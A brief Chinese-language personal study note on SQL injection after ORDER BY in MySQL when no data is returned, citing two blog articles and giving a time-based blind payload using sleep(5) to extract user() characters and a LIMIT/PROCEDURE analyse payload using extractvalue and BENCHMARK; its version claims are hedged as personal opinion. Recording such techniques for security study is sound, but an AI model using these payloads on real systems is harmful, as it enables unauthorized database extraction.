order by后面的注入,一般先嘗試報錯注入,無報錯的時候可以通過rand(ture)和rand(false)來進行bool型盲注,但是今天遇到完全沒有數據回顯的(也就是數據庫中沒有數據)情況,這就比較麻煩了。記錄一下sql語句
參考文章:https://www.cnblogs.com/babers/p/7397525.html
https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=referral
簡單點說:目前好像只有5.5和5.7下能注入,5.6不行(個人觀點,不一定對)
由於本地只有mysql5.6 和5.7,這里復現漏洞時用的5.7
5.7 語句 order by (select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)# (備注一下,mysql規定嵌套的表名中必須要有別名)
5.7 這種情況可以轉化為limit后的注入
ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)